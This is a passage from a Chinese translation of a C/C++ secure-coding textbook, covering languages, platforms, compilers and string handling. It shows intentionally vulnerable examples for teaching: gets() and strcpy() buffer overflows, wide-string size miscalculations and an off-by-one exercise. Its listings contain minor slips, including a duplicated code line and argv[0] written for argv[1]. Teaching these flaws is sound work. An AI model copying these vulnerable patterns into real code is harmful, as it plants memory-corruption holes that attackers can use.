    {"text": "未知 1.3.3 遗留代码 在C语言标准化之前，已经有大量遗留的C代码了。例如，Sun的XDR（External Data Representation，外部数据表示）库就几乎全部用K&R C实现。遗留的C代码包含巨大的安全风险，因为其编译器标准较宽松且其编码风格容易产生漏洞。 未知 1.3.4 其他语言 由于C本身存有这些内在的问题，因此很多安全专家推荐使用其他语言，例如Java。尽管Java解决了C存在的很多问题，但它仍然容易导致实现层次或设计层次的安全缺陷。Java原生接口（Java Native Interface，JNI）允许Java与用其他语言编写的应用程序和代码库进行交互，使得最终的系统可以由Java和C或C++写的组件组合而成。 考虑到已有的对C源代码、编程经验以及开发环境的投资，Java往往并非是一个可行的方案。有时出于性能或其他和安全无关的因素的考虑，也可能会选择C。不管是什么原因，只要选择了用C和C++开发程序，产生安全代码的重担很大程度上就落到了程序员的肩上。 另一种选择是使用C的方言，如Cyclone[Grossman 2005]。Cyclone的设计目标是在保持C的语法、类型、语义和惯用法不变的基础上提供与Java同样的安全保证（使得任何合法的程序都难以产生安全漏洞）。Cyclone目前在Inte l32位架构（IA-32）的Linux以及Windows（使用Cygwin）得到了支持 [1] 。 尽管有这些特点，但对于工业应用，Cyclone可能不是一个合适的选择，因为该语言相对不流行，随之导致工具和程序员的缺乏。 D是一门适用于系统和应用程序的通用编程语言。D主要基于C++语言，但去掉了诸如C源代码的兼容性和与C++链接兼容性等功能，使得D提供了消除或至少减少常见编程错误的语法和语义结构[Alexandrescu 2010]。 [1] Cygwin是一种适用在Windows上的类Linux环境。 未知 1.4 开发平台 软件漏洞可以从不同的抽象层次观察。在较高的抽象层，对于各种语言和各种操作系统环境，软件漏洞都广泛存在。本书主要关注通常的C和C++编程中容易产生的软件缺陷。漏洞问题通常与其运行环境密切相关，如果不假设一个特定的操作系统则很难进行讨论。编译、链接和执行过程中的不同也会造成显著不同的漏洞利用技术与缓解策略。 为了更好地描述漏洞、漏洞利用技术以及缓解措施，本书主要关注微软Windows和Linux操作系统。选择这两个操作系统是因为它们的流行性，它们在关键的基础设施中广泛采用，而且它们比较容易产生漏洞。操作系统软件漏洞的数量已经被科罗拉多州大学的O.H.Alhazmi和Y.K.Malaiya定量评估[Alhazmi 2005a]。 未知 1.4.1 操作系统 微软Windows。本书中的很多例子都是基于微软Windows家族的操作系统产品，包括Windows 7、Windows Vista、Windows XP、Windows Server 2003、Windows 2000、Windows Me、Windows 98、Windows 95、Windows NT工作站，Windows NT Server以及其他产品。 Linux。 Linux是由Linus Torvalds和全世界其他开发人员共同创立的一种自由UNIX衍生操作系统。Linux在多种不同的平台上都可以使用，但一般主要用在Intel架构的机器上。 未知 1.4.2 编译器 编译器及其相关运行库的选择对程序的安全有着重大的影响。本书中的例子主要针对Windows上的Visual C++和Linux上的GCC两款编译器，下面对它们稍作介绍。 Visual C++。 微软的Visual C++是Windows平台上占据优势地位的C和C++编译器。Visual C++实际上是一个编译器产品的家族，其中包括Visual Studio 2012、Visual Studio 2010、Visual Studio 2008、Visual Studio 2005以及更早的版本。这些版本均广泛使用，它们提供的功能各有不同，包括其提供的安全特性也是如此。大体来说，越新的编译器版本提供的安全特性就越多、越高级。以Visual Studio 2012为例，包括对C++11标准的改进支持。 GCC。 GCC全称是GNU编译器集（GNU Compiler Collection），其中包括C、C++、Objective-C、Fortran、Java、Ada，以及这些语言对应的库。GCC编译器是Linux平台上的主流C和C++编译器。 GCC支持3个版本的C标准：C89、AMD1和C99。默认情况下，GCC遵循ANSI（ISO C89）标准并加上GNU特有的一些扩展。GCC编译器提供了一个-std标志，该标志允许用户在编译C程序时指定希望遵循的标准。目前，GCC编译器尚不完全支持C99规范，有几个列出的特性遗失或损坏 [1] 。GCC也对C11标准提供有限的、不完整的部分支持。 [1] 详情参见http://gcc.gnu.org/c99status.html。"},
    {"text": "未知 1.5 小结 软件漏洞大都是由常见的软件瑕疵所引起的，这一事实早已不是秘密。对C和C++而言更是如此。这些语言在设计时假设其用户具有一定水平的专业知识，可事实上并非如此。结果导致售出的产品中包含大量的瑕疵，其中一些可能导致软件漏洞。软件开发者需要对用户发现的漏洞（其中一些是恶意的）作出反应，接着就开始发布补丁和安装补丁的循环周期。然而，补丁的数量实在太多，导致系统管理员并不能及时完成打补丁的工作。甚至有时补丁程序本身也包含安全缺陷。这种针对安全缺陷的反应式策略并不奏效，我们需要一种在早期进行预防和消除安全缺陷的策略。 引起软件安全问题最主要的原因就是软件中的瑕疵，有瑕疵的软件随处可见。那些广泛使用的操作系统平均每千行代码就有一两个瑕疵，而它们都是由几百万行代码所组成，因此通常都会包含数千个瑕疵[Davis 2003]。应用软件的规模虽然没有操作系统那么庞大，但其每千行代码包含的瑕疵数目差不多也是如此。虽然并非每个瑕疵都有安全问题，但是，就算它们导致安全漏洞的比例只有1%或2%，风险也是相当大的。 SANS Institute主管Alan Paller曾沮丧地说过：“在SANS Institute Top 20 Internet Security排行榜中所列出的安全漏洞，都是由于糟糕的代码编写、不严格的测试、马虎的软件工程实践所造成的。这些问题并非如某些外行所想，是什么‘前沿’问题，它们的技术解决方案都存在，可就是没有得到很好地实现”[Kirwan 2004]。 理解漏洞产生的原理和如何进行安全编程对于保护整个互联网以及我们自身免受攻击至关重要。要想减少软件缺陷的数量，需要采用一种以健全的设计原则和有效的质量管理实践为基础的、严肃的工程方法。 未知 1.6 阅读材料 AusCERT调查了针对整个澳大利亚工业的软件安全威胁，涵盖政府部门和私人企业部门[AusCERT 2006]。Bill Fithen及其同事提出了一个更加正式的软件漏洞模型[Fithen 2004]。由美国特勤局和CERT/CC主持的ITS（Insider Threat Study，内部人员威胁研究）报告[Randazzo 2004]，通过分析威胁的行为和技术特点，提供了对内部人员行为的全面分析。 Bruce Schneier在《Secrets and Lies》[Schneier 2004]一书中，对本书中所讨论的有时稍显生僻的软件安全问题的背景，提供了更清晰的解释。 运行安全（operational security）问题在本书中并未涉及，相关的内容可以查阅《The CERT Guide to System and Network Security Practices》[Allen 2001]。Mark G.Graff和Kenneth R.van Wyk的《Secure Coding Principles & Practices》[Graff 2003]著作则对软件开发和配置安全之间的关系提供了很好的介绍。 未知 第2章 字符串 与Dan Plakosh、Jason Rafail和Martin Sebor合著 [1] But evil things.in robes of sorrow, Assailed the monarch's high estate. —Edgar Allan Poe,“The Fall of the House of Usher” [1] Daniel Plakosh是卡内基梅隆大学软件工程研究所（SEI）CERT计划中技术团队的资深成员。Jason Rafail是Impact Consulting Solutions公司的一位高级网络安全顾问。Martin Sebor是思科系统公司的一位技术领导。 未知 2.1 字符串 各种字符串，例如命令行参数、环境变量、控制台输入、文本文件以及网络连接，提供了外部输入的方法来影响程序的行为和输出，因此安全编程对其给予了特别的关注。例如，图形化和基于Web的应用广泛使用了文本输入域，此外，由于XML这样的标准的存在，程序之间的数据交换也越来越多地采用字符串的形式。结果，因字符串表示法、字符串管理以及字符串操作方面的缺陷已经导致广泛的软件漏洞和漏洞利用。 在软件工程中，字符串是一个基本的概念，但它并不是C或C++的内置类型。标准C语言库支持的类型为char的字符串和类型为wchar_t的宽字符串。"},
    {"text": "未知 2.1.1 字符串数据类型 字符串由一个以第一个空（null）字符作为结束的连续字符序列组成，并包含此空字符。一个指向字符串的指针实际上指向该字符串的起始字符。字符串长度指空字符之前的字节数，字符串的值则是它所包含的按顺序排列的字符值的序列。图2.1显示“hello”的字符串表示形式。 图2.1 “hello”的字符串表示形式 字符串实现为字符数组而且容易遭受与数组同样的问题。 因此，适用于数组的安全编码实践也应当应用于以空字符结尾的字符串，参见《C安全编码标准》[Seacord 2008]的“数组（ARR）”一章。在处理数组时，定义一些术语很有用，如下所示。 界限（Bound） 数组中的元素个数。 低位地址（Lo） 数组首元素地址。 高位地址（Hi） 数组末元素地址。 TooFar 数组最远端的元素之后加1位置的元素地址，这个元素正好在Hi元素之后。 目标大小（Tsize） 与sizeof（array）相同。 C标准允许创建指向数组对象的末元素之后加1位置的指针，虽然这些指针无法在不产生未定义行为的状况下解引用。在处理字符串时，以下额外的术语也很有用： 空字符结尾（Null-terminated） 在Hi或它之前，存在空终结符。 长度（Length） 空终结符之前的字符数量。 数组大小 。数组带来的问题之一是确定其元素数量。下面例子中，函数clear（）使用惯用的sizeof（array）/sizeof（array[0]）来确定数组中的元素数量。但是，因为array是一个参数，所以它的类型是指针。 [1] 因此，sizeof（array）等于sizeof（int *）。例如，在sizeof（int）==4且sizeof（int *）==4的架构（如x86-32）中，无论传入的数组的长度是多少，表达式sizeof（array）/sizeof（array[0]）的计算结果都为1，数组的其余部分不影响此结果。 01 void clear(int array[]) { 02 for (size_t i = 0; i < sizeof(array) / sizeof(array[0]); ++i) { 03 array[i] = 0; 03 array[i] = 0; 04 } 05 } 06 07 void dowork(void) { 08 int dis[12]; 09 10 clear(dis); 11 /* ... */ 12 } 这是因为sizeof运算符在应用于声明为数组或函数类型的参数时，它产生调整后的（即指针）类型大小。strlen（）函数可以用来确定一个正确地以空字符结尾的字符串的长度，但不能用来确定一个数组的可用空间。《C安全编码标准》[Seacord 2008]涉及“ARR01-C．在获取一个数组的大小时，不要对一个指针应用sizeof运算符”，该规则针对这个问题提出了警告。 一个字符串中的字符都属于在执行环境中解释的字符集—执行字符集。这些字符由C标准定义的一个基本字符集和一组零个或多个扩展字符（它们不是基本字符集的成员）组成。执行字符集的成员的值是具体实现定义的，但可能（例如）是美国7位ASCII字符集的值。 C使用一个语言环境（locale）的概念，它可以由setlocale（）函数改变，用来跟踪各种约定，如具体实现支持的语言和标点符号。当前语言环境确定哪些字符可用作可扩展字符。 基本执行字符集包括拉丁字母表的26个大写字母和26个小写字母、10个十进制数字、29个图形字符、空格字符，以及表示水平制表符、垂直制表符、换页符、警告、退格键、回车和换行符的控制字符。基本字符集的每个成员都适合用单个字节表示。基本执行字符集中必须存在一个字节的所有位都设置为0的字符，称为空字符（null），它是用来终止字符串的。 执行字符集可能包含大量的字符，因此需要多个字节来表示扩展字符集中的一些单个字符。这就是所谓的多字节（multibyte）字符集。在这种情况下，基本字符仍然必须存在，并且基本字符集的每个字符都编码为单字节。任何额外字符的存在、含义和表示都是特定于语言环境的。一个字符串，可能有时会称为一个多字节字符串，以强调它可能会存在多字节字符。这些与宽字符串不同，因为在宽字符串中每个字符都具有相同的长度。 一个多字节字符集，可能有状态相关（state-dependent）的编码，其中每个多字节字符序列开始于初始变换状态，并当在序列中遇到特定的多字节字符时进入其他特定语言环境的变换状态。当在初始变换状态中，所有的单字节的字符保留它们通常的含义，并且不变更变换状态。在序列中后续字节的含义是当前变换状态的一个函数。 [1] 这里指array是clear()函数的参数，数组名作函数参数会被C 语言转换为指针，而不是sizeof 的“参数”， 因为sizeof不是函数， 而是运算符， 如果直接在dowork()函数中计算sizeof(dis)，结果将是12*sizeof(int)。—译者注"},
    {"text": "未知 2.1.2 UTF-8 UTF-8是一个多字节字符集，它可以表示在Unicode字符集中的每个字符，而且与美国7位ASCII字符集向后兼容。每个UTF-8字符由1～4个字节（请参阅表2.1）表示。如果某个字符仅由1个字节编码，那么此字节最高位是0且其他位包含码值（取值范围为0~127）。如果某个字符由多个字节的序列编码，那么首字节中前导1的位数与序列的总字节数相同，然后紧跟着一个0位，且后面的字节都被标记为一个前导“10”位模式。在字节序列中的其余位拼接成Unicode的码点值（取值范围为0x80～0x10FFFF）。因此，一个具有前导0位的字节是一个单字节码，一个具有多个前导1位的字节是一个多字节序列的首字节，而一个具有前导“10”位模式的字节是一个多字节序列的延续字节。这种字节格式允许检测每个序列的开始，而无须从字符串的开头解码。 表2.1 形式合法的UTF-8字节序列 资料来源：[Unicode 2012] 前128个字符构成基本执行字符集，其中每个字符都是单字节。 UTF-8的解码器有时会成为一个安全漏洞。在某些情况下，攻击者可以通过向它发送UTF-8语法不允许的一个八位字节序列，来利用一个不谨慎的UTF-8解码器。《C安全编码标准》[Seacord 2008]包括“MSC10-C．字符编码方式UTF-8相关的问题”，它描述这个问题以及其他与UTF-8相关的问题。 未知 2.1.3 宽字符串 若要处理大字符集的字符，程序可以将每个字符都表示为一个宽字符，宽字符一般比一个普通字符需要更多的空间。大多数实现选择16位或32位来表示一个宽字符。宽字符串的大小测量问题将在2.1.7节论及。 一个宽字符串是一个连续的宽字符序列，它包括并由第一个null宽字符终止。一个指向宽字符串的指针指向其初始（最低地址的）宽字符。一个宽字符串的长度是null宽字符之前的宽字符的数量，而一个宽字符串的值是其所包含的宽字符的码值按顺序排列的序列。"},
    {"text": "未知 2.1.4 字符串字面值 一个字符串字面值是一个包围在双引号中的零个或更多个字符的序列，比如\"xyz\"。宽字符串字面值除了以字母L作为前缀外，其他的表示方式与字符串字面值相同，比如L\"xyz\"。 在一个字符常量或字符串字面值中，在执行期间使用的字符集的成员，用源代码中字符集的相应成员表示，或由反斜杠（\\）后跟一个或多个字符的转义序列表示。基本执行字符集必须存在一个所有位为0的字节，称为空字符，它用来终止字符串。 在编译期间，由相邻的字符和具有相同前缀的字符串字面量标记的任意序列指定的多字节字符序列，拼接成单个多字节字符序列。如果其中任何一个标记有编码前缀，那么由此产生的多字节字符序列就视为具有相同的前缀；否则，把它作为一个字符串字面值对待。不同前缀的宽字符串字面值的标记是否可以联接（并且，如果是这样，对由此产生的多字节字符序列的处理）是具体实现定义的。例如，下面的相邻字符串字面值的标记序列 \"a\" \"b\" L\"c\" \"a\" L\"b\" \"c\" L\"a\" \"b\" L\"c\" L\"a\" L\"b\" L\"c\" 都等于字符串字面值 L\"abc\" 接下来，把一个值为0的字节或编码附加到每个由一个或多个字符串字面值形成的字符序列的末尾。（一个字符字串字面值不一定是一个字符串，因为，其中可能会用一个\\0的转义序列嵌入一个空字符。）该字符序列然后用于初始化一个持续静态存储的数组，其长度正好足以包含此序列。对于字符串字面值，数组中的元素类型为char，并用字符序列中的每个字节初始化。对于宽字符串字面值，数组中的元素类型为wchar_t，并用对应于该字符序列的宽字符序列进行初始化，这个宽字符序列是由一个实现定义的当前语言环境的mbstowcs（）（多字节字符串到宽字符串）函数定义的。含有不在执行字符集中表示字符或转义序列的一个字符串字面值的值是具体实现定义的。 在C中，字符串字面值的类型是一个char数组，但在C++中，它是一个const char数组。因此，一个字符串字面值在C中是可修改的。然而，如果程序试图修改这样的一个数组，该行为是未定义的，因此这种行为是 《C安全编码标准》[Seacord 2008]，“STR 30-C.不要试图修改字符串字面值”禁止的。制定这条规则的原因之一是，如果这些数组的元素有适当的值，在C标准中没有规定这些数组必须是不同的。例如，编译器有时会把多个相同的字符串字面值存储在相同的地址中，这样导致修改一个这样的字面值可能也会改变其他字面值。制定这条规则的另一个原因是，字符串字面值经常存储在只读存储器（ROM）中。 C标准允许在声明一个数组变量时，既包括界限索引又包括一个初始化字面值。初始化字面值也蕴含着一个数组大小，即其中指定的元素数量。对于字符串，一个字符串字面值指定的大小是字面值中的字符数再加上1（用于终止的空字符）。 数组变量常常由一个字符串字面值进行初始化，并且声明为一个与字符串字面值中的字符数目相匹配的显式界限。例如，下面的声明使用一个字符串字面值初始化了一个字符数组，此字面值比数组能容纳的字符多一个字符（包括终结符'\\0'）： const char s[3] = \"abc\"; 虽然字符串字面值的大小是4，但数组s的大小是3，因此，尾随的空字节被删除。任何随后将数组作为一个空字节结尾的字符串的使用都会导致漏洞，因为s没有正确地以空字符结尾。 一个更好的方法是，对于一个用字符串字面值初始化的字符串，不指定它的界限，因为编译器会自动为整个字符串字面值分配足够的空间，包括终止的空字符： const char s[] = \"abc\"; 因为即使字符串的字面值的大小变化了，数组大小总是可以获得的，所以这种方法还简化了维护工作。这一问题已被《C安全编码标准》[Seacord 2008]进一步描述为，“STR 36-C。不要指定一个用字符串字面值初始化的字符数组的界限。”"},
    {"text": "未知 2.1.5 C++中的字符串 在C++程序中，多字节字符串和宽字符串都是常见的数据类型，但人们也已做出许多努力来创建字符串类。大多数C++开发人员都至少写过一个字符串类，并且字符串类有许多被广泛接受的形式。C++的标准化[ISO/IEC 1998]促进了标准的类模板std::basic_string的规定。该basic_string模板代表一个字符序列。它支持序列存取操作也支持字符串操作（如搜索和串连），并且是由字符类型参数化的： ·string是模板特化basic_string的一个typedef。 ·wstring是模板特化basic_string的一个typedef。 因为C++标准定义了额外的字符串类型，所以对于多字节字符串，C++还定义了额外的形式。一个以空字符结尾的字节字符串也称为NTBS（Null-Terminated Byte String），它是一个字符序列，最高地址的元素定义的内容具有值0（即终止空字符），序列中的其他元素都不具有值0。一个以空字符结尾的多字节字符串也称为NTMBS（Null-Terminated Multibyte String），它是一种NTBS，构成了一个以初始转换状态开始和结束的有效多字节字符序列。 与以空字节结尾的字符串相比，basic_string的类的模板特化更不容易出现错误和安全漏洞。遗憾的是，在C++字符串对象和以空字符结尾的字节字符串之间有一个错配。具体来说，大多数C++字符串对象都被视为不可分割的整体（通常按值传递或按引用传递），而现有的C库函数都接受指向以空字符结尾的字符序列的指针。在标准C++的string类中，其内部表示并不一定非得是以空字符结尾的[Stroustrup 1997]，虽然所有常见的实现都是以空字符结尾的。其他一些字符串类型，（例如，Win32 LSA_UNICODE_STRING），也不一定非得是以空字符结尾的。因此，访问字符串的内容、确定字符串长度，以及判断一个字符串是否为空有不同的方式。 在C++程序中几乎不可能避免使用多种字符串类型。如果你想独占地使用basic_string，你必须确保，目前并无任何下列情况。 ·basic_string的字面值。一个如\"abc\"的字符串字面量是一个以空字符结尾的静态字符串。 ·与接受以空字符结尾的字节字符串现有库的交互（例如，在中声明的函数签名操纵的许多对象是NTBS）。 ·与接受以空字符结尾的宽字符串现有库的交互，（例如，在中声明的函数签名操纵的许多对象是宽字符的序列）。 通常情况下，C++程序使用以空字符结尾的字节字符串以及一个string类，虽然在一个遗留代码库里往往有必要处理多种字符串类[Wilson 2003]。"},
    {"text": "未知 2.1.6 字符类型 下面三种类型，char、signed char和unsigned char统称为字符类型。编译器可以自由地定义char，使它与signed char或unsigned char具有相同的范围、表示方式和行为。不管编译器作出的选择是什么，char都是独特的类型。 虽然没有在任何地方指出，但C标准选择字符类型遵从如下一致的理念。 signed char和unsigned char ·适用于小整数值 普通的char ·用于一个字符串字面值的每个元素的类型 ·用于与整数的数据相对的字符数据（其中符号没有意义） 下面的程序片段显示了标准字符串处理函数strlen（）分别被一个普通的字符串、一个有符号字符串和一个无符号字符串调用的情况。strlen（）函数需要一个类型为const char*的参数。 1 size_t len; 2 char cstr[] = \"char string\"; 3 signed char scstr[] = \"signed char string\"; 4 unsigned char ucstr[] = \"unsigned char string\"; 5 6 len = strlen(cstr); 7 len = strlen(scstr); /* warns when char is unsigned */ 8 len = strlen(ucstr); /* warns when char is signed */ 在符合“MSC00-C.在高警告级别没有警告地编译”的高警告级别进行编译时，在下列情况下会发生警告。 ·当char有符号时，由unsigned char[]转换为const char * ·当char无符号时，由signed char[]转换为const char * 要消除这些警告，强制类型转换是必需的，但过多的强制类型转换会使代码很难阅读并隐藏正常的警告消息。 如果用一个C++编译器编译这段代码，由unsigned char[]转换为const char与*由signed char[]转换为const char *将被标记为需要强制类型转换的错误。为了与标准的窄字符串处理函数兼容，“STR04-C.使用普通char类型表示基本字符集中的字符”建议，使用普通的char。 int int类型用于下面这种情况，数据可能是EOF（一个负值）或解释为unsigned char的字符，为防止出现符号扩展，于是把它转换为int。例如，在一个用32位值表示int类型的平台上，扩展ASCII码0xFF会当作00 00 00 FF传回。 ·因此，fgetc（）、getc（）、getchar（）、fgetwc（）、getwc（）和getwchar（）都返回int。 ·在中声明的字符分类函数，如isalpha（），接受int参数，因为可能会传给它们fgetc（）或上述列表中其他函数的结果。 在C语言中，字符常量的类型为int。它的值是将普通的char转换为int的结果。这造成的也许令人惊讶的后果是，对于所有的字符常量c，sizeof c等于sizeof int。这也意味着，例如，当x是一个char类型的变量时，sizeof'a'不等于sizeof x。 在C++语言中，与在C中的情况不同，仅包含一个字符的一个字符字面值，其类型为char，因此，它的大小是1。在C和C++中，一个宽字符字面值都具有wchar_t类型，而一个多字符字面值的类型都为int。 unsigned char 当正在操作的对象可能是任何类型，而且有必要访问该对象的所有二进制位，比如用fwrite（）时，unsigned char类型是有用的。不像其他的整数类型，unsigned char类型拥有独特的属性，即存储在unsigned char类型对象中的值，保证会当作一个纯粹的二进制表示法来表示属性值。C标准定义的纯粹二进制表示法为“一种使用二进制数字0和1的整数的位置表示法，其中，其值用连续二进制位乘以从1开始的2的连续整数次幂之和表示，除非此二进制位是最高位”。 unsigned char类型的对象都保证没有填充位并因此没有表示形式的陷阱。所以，任何类型的非二进制位域（non-bit-field）的对象都可以复制到一个unsigned char数组中（例如，通过memcpy（）），并每次1个字节地检查它们的表示形式。 wchar_t ·宽字符用于自然语言的字符数据。 “STR00-C.使用一个适当的类型来表示字符”建议字符类型的使用遵循这个相同的理念。对于基本的字符集中的字符，它用哪个数据类型并没有关系，除非由于类型兼容的原因。"},
    {"text": "未知 2.1.7 计算字符串大小 为防止缓冲区溢出和其他一些运行时错误，正确地计算字符串大小是必不可少的。使用不正确的字符串大小会导致缓冲溢出，例如，会分配一个大小不充足的缓冲区。《C安全编码标准》[Seacord 2008]，“STR31-C.保证字符串的存储空间具有容纳字符数据和空终结符的足够空间”提到了这个问题。数组和字符串的几个重要属性，对于正确分配空间，并防止缓冲区溢出是至关重要的。 大小（size） 分配给数组的字节数（等于sizeof（array））。 计数（count） 在数组中的元素数目（等于在Visual Studio 2010中的_countof（array））。 长度（length） 在空终结符之前的字符数。 混淆这些概念经常会导致C和C++程序中的严重错误。C标准保证，类型为char的对象由单个字节组成。因此，一个字符数组的大小等于一个char数组的计数（这也是数组的界限）。长度是在空终结符之前的字符数。对于一个正确地以null结尾的char类型的的字符串，其长度必然是小于或等于其大小减1。 当宽字符串被误认为是窄字符串或多字节字符串时，可能会不正确地计算其大小。C标准定义的wchar_t是一个整数类型，其值的范围可以代表所支持的语言环境中最大的扩展字符集的所有成员的不同编码。Windows会使用UTF-16字符编码，所以wchar_t的大小通常为两个字节。Linux和OS X（GCC/g++以及Xcode中）使用UTF-32字符编码，所以wchar_t的大小通常为4个字节。在大多数平台上，wchar_t的大小至少是两个字节，因此，wchar_t数组的大小已不再等于对同一个数组的计数。作其他假定的程序可能包含错误。例如，在下面的程序片段中，错误地使用strlen（）函数来确定一个宽字符串的大小： 1 wchar_t wide_str1[] = L\"0123456789\"; 2 wchar_t *wide_str2 = (wchar_t *)malloc(strlen(wide_str1) + 1); 3 if (wide_str2 == NULL) { 4 /* handle error */ 5 } 6 /* ... */ 7 free(wide_str2); 8 wide_str2 = NULL; 当编译此程序时，Microsoft Visual Studio 2012将生成一个不兼容的类型警告并终止翻译。GCC4.7.2虽然也生成一个不兼容的类型警告但却能继续编译。 对一个以空字符结尾的字节字符串，strlen（）函数对终止空字节前面的字符数量进行计数（长度）。然而，宽字符可以包含空字节，尤其是从ASCII字符集获取时，如在这个例子中。因此strlen（）函数将返回在字符串中的第一个空字节前的字节数。 在下面的程序片段中，正确地使用wcslen（）函数来确定一个宽字符串的大小，但此长度没有乘以sizeof（wchar_t）。 1 wchar_t wide_str1[] = L\"0123456789\"; 2 wchar_t *wide_str3 = (wchar_t *)malloc(wcslen(wide_str1) + 1); 3 if (wide_str3 == NULL) { 4 /* 处理错误 */ 5 } 6 /* ... */ 7 free(wide_str3); 8 wide_str3 = NULL; 下面的程序片段正确地计算了容纳宽字符串的一个副本所需的字节数（包括终止字符）： 01 wchar_t wide_str1[] = L\"0123456789\"; 02 wchar_t *wide_str2 = (wchar_t *)malloc( 03 (wcslen(wide_str1) + 1) * sizeof(wchar_t) 04 ); 05 if (wide_str2 == NULL) { 06 /* 处理错误 */ 07 } 08 /* ... */ 09 free(wide_str2); 10 wide_str2 = NULL; 《C安全编码标准》[Seacord 2008]，“STR31-C.保证字符串的存储空间具有容纳字符数据和空终结符的足够空间”，正确地提供了关于计算宽字符串大小的补充信息。 未知 2.2 常见的字符串操作错误 在C和C++中，操作字符串很容易产生错误。最常见的错误有4种，分别是无界字符串复制（unbounded string copy）、差一错误（off-by-one error）、空结尾错误（null termination error）以及字符串截断（string truncation）。"},
    {"text": "未知 2.2.1 无界字符串复制 无界字符串复制发生于从源数据复制数据到一个定长的字符数组时（例如，从标准输入读取数据到一个定长的缓冲区中）。"},
    {"text": "如例2.1所示，来自ISO/IEC TR 24731-2的附录A的一个程序利用gets（）函数把字符从标准输入读入一个定长的字符数组，直到读到一个换行符或者遇到文件结束标志（EOF）为止。"},
    {"text": "例2.1 从标准输入读入 01 #include <stdio.h> 02 #include <stdlib.h> 03 04 void get_y_or_n(void) { 05 char response[8]; 06 puts(\"Continue? [y] n: \"); 07 gets(response); 08 if (response[0] == 'n') 09 exit(0); 10 return; 11 } 本例只使用C99中的接口，尽管gets（）函数在C99中已废弃并在C11中淘汰。"},
    {"text": "这个程序在MiCrosoft Visual C++2010中可以编译和运行，但在警告级别/W3下会对使用gets（）发出警告。 当用G++4.6.1编译时，编译器对使用gets（）发出警告，但可以无错地编译。"},
    {"text": "这种限制在此函数的如下一致实现中是显而易见的： 01 char *gets(char *dest) { 02 int c = getchar(); 03 char *p = dest; 04 while (c != EOF && c != '\\n') { 05 *p++ = c; 06 c = getchar(); 07 } 08 *p = '\\0'; 09 return dest; 10 } 对于程序员而言，从无界数据源（例如stdin）读入数据是一个有趣的问题。"},
    {"text": "复制和连接字符串时也容易出现错误，因为执行这个功能的许多标准库调用，如strcpy（）、strcat（）和sprintf（）函数，执行无界复制操作。"},
    {"text": "当程序执行时调用的main（）函数，当程序接受命令行参数时，通常声明为如下格式： 1 int main(int argc, char *argv[]) { 2 /* ...*/ 3 } 命令行参数作为指向从argv[0]到argv[argc-1]的数组成员并以空字符结尾的字符串指针传入main（）函数。"},
    {"text": "若argc大于0 [1] ，按照惯例，argv[0]指向的字符串是程序名。 若argc大于1，从argv[0]到argv[argc-1]引用的字符串是实际程序参数。"},
    {"text": "虽然按照惯例，argv[0]包含程序名，但攻击者可以控制argv[0]的内容，在如下的程序中，提供一个超过128个字节的字符串就会造成一个漏洞。"},
    {"text": "1 int main(int argc, char *argv[]) { 2 /* ... */ 3 char prog_name[128]; 4 strcpy(prog_name, argv[0]); 5 /* ... */ 6 } 这个程序可以在MiCrosoft Visual C++2012下编译并运行，但在警告级别/W3下会对使用strcpy（）发出警告。"},
    {"text": "这个程序也能在G++4.7.2下编译并运行，如果定义了_FORTIFY_SOURCE，那么在运行时，如果对strcpy（）的调用导致了缓冲区溢出，由于对对象大小检查的结果失败，此程序会中止。"},
    {"text": "01 int main(int argc, char *argv[]) { 02 /* 不要假设argv[0] 不许为空 */ 03 const char * const name = argv[0] ? argv[0] : \"\"; 04 char *prog_name = (char *)malloc(strlen(name) + 1); 05 if (prog_name != NULL) { 06 strcpy(prog_name, name); 07 } 08 else { 09 /* 动态分配内存失败，复原 */ 10 } 11 /* ... */ 12 } strcpy（）函数的使用是绝对安全的，因为目标数组已经被分配了适当的大小。"},
    {"text": "例如，在常见的ILP 32和LP 64平台，INT_MAX =2147483647，用一个字符串来表示int类型参数的值，它会占用11个字符（逗号不能输出，而且可能有一个减号）。"},
    {"text": "snprintf（）函数是一个相对安全的函数，但像其他格式的输出函数一样，它也容易产生格式化字符串漏洞。 需要对snprintf（）的返回值进行检查，因为函数可能会失败，这不仅是因为缓冲区空间不足，还有其他原因，如在函数执行过程中发生内存不足的状况。"},
    {"text": "详情见《C安全编码标准》[Seacord 2008]，“FIO04-C.检测和处理输入和输出错误”和“FIO33-C.检测和处理导致未定义行为的输入输出错误”。"},
    {"text": "1 #include <iostream> 2 3 int main(void) { 4 char buf[12]; 5 6 std::cin >> buf; 7 std::cout << \"echo: \" << buf << '\\n'; 8 } 在微软Visual C++2012中，当警告级别是/W4时，这个程序可以正确编译。"},
    {"text": "C++同时定义了成员与非成员operator>>重载操作符，包括： istream& operator>> (istream& is, char* str); 这个操作符提取字符并将其存入str指向的数组的连续元素。"},
    {"text": "如果其域宽（可以用ios_base::width或setw（）设置）设置为大于0的值，提取操作可以限制为只提取指定数量的字符（因而避免了可能的缓冲区溢出）。 在这种情况下，提取操作在提取了比由域宽指定的数量少一个字符的时候就会终止，以便为结尾的空字符留出空间。 一次提取操作调用结束后域宽自动被重置为0。"},
    {"text": "例2.2的程序通过将域宽成员设置为字符数组的长度消除了上一个例子的溢出，这个例子展示了C++提取操作不存在与C的gets（）函数同样的固有缺陷。"},
    {"text": "例2.2 域宽成员 1 #include <iostream> 2 3 int main(void) { 4 char buf[12]; 5 6 std::cin.width(12); 7 std::cin >> buf; 8 std::cout << \"echo: \" << buf << '\\n'; 9 } [1] 在某些特殊情况下，如被execlp函数调用的程序，其argc 会等于0。"},
    {"text": "未知 2.2.2 差一错误 空字符结尾的字符串的另一个常见问题是差一错误（off-by-one error）。差一错误与无界字符串复制有相似之处，即都涉及对数组的越界写问题。下列程序在微软Visual C++2010的/W4警告级别上完全可以编译和链接，并且在Windows 7上运行时也不报错，但它包含了几个差一错误。你能找出这个程序中所有的差一错误吗？ 01 #include <string.h> 02 #include <stdio.h> 03 #include <stdlib.h> 04 05 int main(void) { 06 char s1[] = \"012345678\"; 07 char s2[] = \"0123456789\"; 08 char *dest; 09 int i; 10 11 strcpy_s(s1, sizeof(s2), s2); 12 dest = (char *)malloc(strlen(s1)); 13 for (i=1; i <= 11; i++) { 14 dest[i] = s1[i]; 15 } 16 dest[i] = '\\0'; 17 printf(\"dest = %s\", dest); 18 /* ... */; 19 } 这些错误中，很多都是新手易犯的错误，但经验丰富的程序员也可能犯同样的错误，很容易开发出并部署类似于这个例子的程序，因为它在大多数系统上都可以顺利通过编译并且运行时也不报错。 未知 2.2.3 空字符结尾错误 